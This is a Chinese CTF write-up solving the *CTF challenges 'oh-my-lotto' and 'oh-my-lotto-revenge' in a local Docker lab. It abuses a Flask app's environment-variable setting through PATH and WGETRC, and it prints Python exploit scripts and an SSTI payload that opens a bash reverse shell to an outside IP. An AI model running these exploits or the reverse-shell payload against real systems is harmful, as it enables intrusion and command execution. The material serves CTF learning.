*CTF
oh-my-lotto
首先用比赛给的附件,用Dokcer搭好环境
docker-compose build docker-compose up
|
正常启动
给了源码,所以进行白盒审计,四个界面分别对应四个路由
其中lotto的路由主要部分是这些
@app.route("/lotto", methods=['GET', 'POST']) def lotto(): message = ''
if request.method == 'GET': return render_template('lotto.html')
elif request.method == 'POST': flag = os.getenv('flag') lotto_key = request.form.get('lotto_key') or '' lotto_value = request.form.get('lotto_value') or '' try: lotto_key = lotto_key.upper() except Exception as e: print(e) message = 'Lotto Error!' return render_template('lotto.html', message=message) if safe_check(lotto_key): os.environ[lotto_key] = lotto_value try: os.system('wget --content-disposition -N lotto')
if os.path.exists("/app/lotto_result.txt"): lotto_result = open("/app/lotto_result.txt", 'rb').read() else: lotto_result = 'result' if os.path.exists("/app/guess/forecast.txt"): forecast = open("/app/guess/forecast.txt", 'rb').read() else: forecast = 'forecast'
if forecast == lotto_result: return flag
|
大概含义就是会从内网的lotto界面取出一个文件(可以在lotto的app.py中发现事一串随机数),然后与forecast传入的文件进行对比,如果相同就会返回从环境变量中取出的flag
然后就是
def safe_check(s): if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: return False return True
|
因为这个函数过滤了一些环境变量,所以之前HF中看p神提到的环境变量进行RCE也不行了
看了WP才知道,控制PATH,我们也可以进行一些骚操作
PATH变量
就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量
变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是有执行权限
那既然它是会用wget取读取随机数,那我们控制PATH,让它找不到wget,它就无法再读出随机数,这样我们就可以利用已知的第一次生成的随机数上传,不就对比是一样的了嘛
EXP如下
import requests from lxml import etree
url = "http://localhost:8880/"
lotto_data = { "lotto_key": "", "lotto_value": ""
}
lotto_data1 = { "lotto_key": "PATH", "lotto_value": "/" }
requests.post(url=(url + "lotto"), data=lotto_data)
resp = requests.get(url=(url + "result")) html = etree.HTML(resp.text) result = html.xpath("/html/body/div[2]/div/p[3]/text()") print(result) with open("result.txt", "w+") as f: f.writelines(result)
requests.post(url=(url + "forecast"), files={'file': open("result.txt", "rb")}) r = requests.post(url=(url + "lotto"), data=lotto_data1) print(r.text)
|
成功得到flag
oh-my-lotto-revenge
算是上一题的一个进阶版本
这里就算预测正确,也不会返回flag
根据wp的这个链接
我们知道了这个WGETRC,我们可以控制环境变量就可以控制wget的参数,其中这里主要利用这两个
http_proxy = string Use string as HTTP proxy, instead of the one specified in environment. wget的流量就会先转发到这个指定的代理上,这样我们就可以成为一个中间人
output_document = file Set the output filename—the same as ‘-O file’. 这个我们就能控制目录文件,覆盖templates/index.html,打一个SSTI
|
先做个实验,看wget的流量能否转发到我们的监听端口上
再用如下exp
""" @Author: C4ry7nk """
import requests
url = "http://localhost:8880/"
r = requests.post(url + "forecast", files={'file': open("lnk.txt", "rb")})
data = { "lotto_key": "WGETRC", "lotto_value": "/app/guess/forecast.txt" }
resp = requests.post(url + "lotto", data=data) print(resp.text)
|
然后我们在本地docker的shell里就可以发现,的确写入了我们输入的内容
那我们如果写入反弹shell的SSTI,再刷新index.html,就可以getshell了
于是我们写入
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/118.251.146.118/1234 0>&1"').read()}}
|
刷新index.html后,成功获得shell
在env中看到flag
参考
Y4师傅的WP